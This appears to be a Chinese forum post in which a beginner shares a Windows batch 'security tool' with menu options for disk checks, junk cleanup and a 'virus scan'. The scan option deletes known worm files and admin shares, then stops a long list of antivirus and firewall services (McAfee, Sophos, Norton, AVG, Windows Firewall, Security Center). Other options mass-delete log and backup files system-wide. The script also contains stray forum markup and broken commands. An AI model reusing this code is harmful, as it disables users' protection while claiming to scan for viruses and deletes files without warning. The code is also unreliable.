批处理萌新做的安全程序"/>
一位批处理萌新做的安全程序
自己做的批处理程序,其中包含了自己写的与一些高人的帮助。可能不是很好,还望大家多多指教!
顺便给一个自己随便写的随手加速。
@echo off
mode con lines=3 cols=20
title 随手加速
set/p man= 加速请打a:
if %man%== a del /f /s /q %systemdrive%\*.tmp
cls
%0
@echo off
title 主页
color 12
echo ..=安全卫士=..
echo.
echo 目录
echo (1) 常规只读检查(修复检查请输入1b[谨慎选择])
echo (2) 清除系统垃圾(时间较长)
echo (3) 查看网络端口(时间较长)1
echo (4) 查看c盘,d盘与任务管理器
echo (5) 综合检审(时间长)
echo (6) 重启
echo (7) 查杀病毒
echo 退出(q)
set/p man= 选择(数字):
if %man%== q goto end
if %man%== 7 echo. & pause
if %man%== 7 del c:\winnt\logo1_.exe
if %man%== 7 del c:\windows\logo1_.exe
if %man%== 7 del c:\winnt\0sy.exe
if %man%== 7 del c:\windows\0sy.exe
if %man%== 7 del c:\winnt\1sy.exe
if %man%== 7 del c:\windows\1sy.exe
if %man%== 7 del c:\winnt\2sy.exe
if %man%== 7 del c:\windows\2sy.exe
if %man%== 7 del c:\winnt\3sy.exe
if %man%== 7 del c:\windows\3sy.exe
if %man%== 7 del c:\winnt\4sy.exe
if %man%== 7 del c:\windows\4sy.exe
if %man%== 7 del c:\winnt\5sy.exe
if %man%== 7 del c:\windows\5sy.exe
if %man%== 7 del c:\winnt\6sy.exe
if %man%== 7 del c:\windows\6sy.exe
if %man%== 7 del c:\winnt\7sy.exe
if %man%== 7 del c:\windows\7sy.exe
if %man%== 7 del c:\winnt\8sy.exe
if %man%== 7 del c:\windows\8sy.exe
if %man%== 7 del c:\winnt\9sy.exe
if %man%== 7 del c:\windows\9sy.exe
if %man%== 7 del c:\winnt\rundl132.exe
if %man%== 7 del c:\windows\rundl132.exe
if %man%== 7 net share c$ /d
if %man%== 7 net share d$ /d
if %man%== 7 net share e$ /d
if %man%== 7 net share F$ /d
if %man%== 7 net share G$ /d
if %man%== 7 net share h$ /d
if %man%== 7 net share i$ /d
if %man%== 7 net share j$ /d
if %man%== 7 net share admin$ /d
if %man%== 7 net share ipc$ /d
if %man%== 7 del c:\winnt\logo1_.exe
if %man%== 7 del c:\windows\logo1_.exe
if %man%== 7 del c:\windows\vdll.dll
if %man%== 7 del c:\winnt\vdll.dll
if %man%== 7 del c:\windows\tdll.dll
if %man%== 7 del c:\winnt\tdll.dll
if %man%== 7 del c:\windows\dll.dll
if %man%== 7 del c:\winnt\dll.dll
if %man%== 7 del c:\winnt\kill.exe
if %man%== 7 del c:\windows\kill.exe
if %man%== 7 del c:\winnt\sws32.dll
if %man%== 7 del c:\windows\sws32.dll
if %man%== 7 del c:\winnt\rundl132.exe
if %man%== 7 del c:\windows\rundl132.exe
if %man%== 7 echo.
if %man%== 7 echo.
if %man%== 7 echo.
if %man%== 7 echo. *****************************
if %man%== 7 echo.
if %man%== 7 echo. 正在查毒...请不要关闭......
if %man%== 7 echo.
if %man%== 7 echo. *****************************
if %man%== 7 echo.
if %man%== 7 echo.
if %man%== 7 echo.
if %man%== 7 echo.
if %man%== 7 ping 127.0.0.1 -n 5
if %man%== 7 del c:\winnt\logo1_.exe
if %man%== 7 del c:\windows\logo1_.exe
if %man%== 7 del C:\winnt\system32\Logo1_.exe
if %man%== 7 del C:\winnt\system32\rundl132.exe
if %man%== 7 del C:\winnt\system32\bootconf.exe
if %man%== 7 del C:\winnt\system32\kill.exe
if %man%== 7 del C:\winnt\system32\sws32.dll
if %man%== 7 del C:\windows\Logo1_.exe
if %man%== 7 del C:\windows\rundl132.exe
if %man%== 7 del C:\windows\bootconf.exe
if %man%== 7 del C:\windows\kill.exe
if %man%== 7 del C:\windows\sws32.dll
if %man%== 7 del C:\windows\dll.dll
if %man%== 7 del C:\windows\vdll.dll
if %man%== 7 del c:\windows\tdll.dll
if %man%== 7 del C:\windows\system32\ShellExt\svchs0t.exe
if %man%== 7 del C:\windows\system32\Logo1_.exe
if %man%== 7 del C:\windows\system32\rundl132.exe
if %man%== 7 del C:\windows\system32\bootconf.exe
if %man%== 7 del C:\windows\system32\kill.exe
if %man%== 7 del C:\windows\system32\sws32.dll
if %man%== 7 del c:\_desktop.ini /f/s/q/a
if %man%== 7 del d:\_desktop.ini /f/s/q/a
if %man%== 7 del e:\_desktop.ini /f/s/q/a
if %man%== 7 del f:\_desktop.ini /f/s/q/a
if %man%== 7 del g:\_desktop.ini /f/s/q/a
if %man%== 7 del h:\_desktop.ini /f/s/q/a
if %man%== 7 del i:\_desktop.ini /f/s/q/a
if %man%== 7 del j:\_desktop.ini /f/s/q/a
if %man%== 7 del k:\_desktop.ini /f/s/q/aAbc[/hide]
if %man%== 7 net stop "McAfee VirusScan Online Realtime Engine"
if %man%== 7 net stop "McAfee Agent"
if %man%== 7 net stop " McAfee SecurityCenter Update Manager "
if %man%== 7 net stop "McShield"
if %man%== 7 net stop "SyGateService"
if %man%== 7 net stop "Sygate Personal Firewall Pro"
if %man%== 7 net stop "Sygate Personal Firewall"
if %man%== 7 net stop "Sophos Anti-Virus"
if %man%== 7 net stop "Sophos Anti-Virus Network"
if %man%== 7 net stop "eTrust Antivirus Job Server"
if %man%== 7 net stop "eTrust Antivirus Realtime Server"
if %man%== 7 net stop "eTrust Antivirus RPC Server"
if %man%== 7 net stop "ViRobot Expert Monitoring"
if %man%== 7 net stop "ViRobot Lite Monitoring"
if %man%== 7 net stop "Quick Heal Online Protection"
if %man%== 7 net stop "V3MonNT"
if %man%== 7 net stop "V3MonSvc"
if %man%== 7 net stop "Security Center"
if %man%== 7 net stop "Windows Firewall"
if %man%== 7 net stop "Windows Internet Connection Sharing(ICS)"
if %man%== 7 vnet stop "NAV Alert"
if %man%== 7 net stop "NAV Auto-Protect"
if %man%== 7 net stop "ScriptBlocking Service"
if %man%== 7 net stop "DefWatch"
if %man%== 7 net stop "Background Intelligent Transfer Service"
if %man%== 7 net stop "System Event Notification"
if %man%== 7 net stop "BlackICE"
if %man%== 7 net stop "AVSync Manager"
if %man%== 7 net stop "AVG7 Alert Manager Server"
if %man%== 7 net stop "AVG7 Update Service"
if %man%== 7 net stop "InVircible Scheduler"
if %man%== 7 net stop "kavsvc"
if %man%== 7 net stop "avast! Antivirus"
if %man%== 7 net stop "avast! iAVS4 Control Service"
if %man%== 7 net stop "Trend ServerProtect Agent"
if %man%== 7 net stop "Trend ServerProtect "
if %man%== 7 echo 查毒杀毒完毕
if %man%== 7 pause
if %man%== 7 返回.
if %man%== 6 shutdown -r -t 10
if %man%== 1 cls
if %man%== 1 title 常规检查
if %man%== 1 chkdsk
if %man%== 1 pause
if %man%== 1b cls
if %man%== 1b title 常规检查(修复)
if %man%== 1b chkdsk /f
if %man%== 1b pause
if %man%== 2 cls
if %man%== 2 title 清除系统垃圾
if %man%== 2 del /f /s /q %systemdrive%\*.tmp
if %man%== 2 del /f /s /q %systemdrive%\*.log
if %man%== 2 del /f /s /q %systemdrive%\*.old
if %man%== 2 del /f /s /q %systemdrive%\*.gid
if %man%== 2 del /f /s /q %systemdrive%\*._mp
if %man%== 2 del /f /s /q %systemdrive%\*.bak
if %man%== 2 del /f /s /q %windir%\*.bak
if %man%== 2 del /f /s /q %windir%\*.log
if %man%== 2 del /f /s /q %windir%\*.tmp
if %man%== 2 echo 清理完成!
if %man%== 2 pause
if %man%== 3 title 查看网络端口
if %man%== 3 netstat
if %man%== 3 pause
if %man%== 4 查看c盘,d盘与任务管理器
if %man%== 4 C盘
if %man%== 4 dir /c
if %man%== 4 D盘
if %man%== 4 dir /d
if %man%== 4 start taskmgr
if %man%== 4 pause
if %man%== 5 cls
if %man%== 5 title 综合检审
if %man%== 5 color 2
if %man%== 5 echo 正在检查系统,请稍后...
if %man%== 5 start taskmgr
if %man%== 5 chkdsk
if %man%== 5 echo 修复与检查已完成
if %man%== 5 pause
if %man%== 5 echo 进行下一项完善程序
if %man%== 5 set/p man=(Y):
if %man%== Y echo 正在进行下一项完善程序,请稍后...
if %man%== Y del /f /s /q %systemdrive%\*.tmp
if %man%== Y del /f /s /q %systemdrive%\*.log
if %man%== Y del /f /s /q %systemdrive%\*.gid
if %man%== Y del /f /s /q %systemdrive%\*.old
if %man%== Y echo 该项安全任务已完成
if %man%== Y pause
if %man%== Y 综合检审已完成!
if %man%== Y pause
cls
%0
:end
echo 谢谢使用,再见
pause
更多推荐
一位批处理萌新做的安全程序
发布评论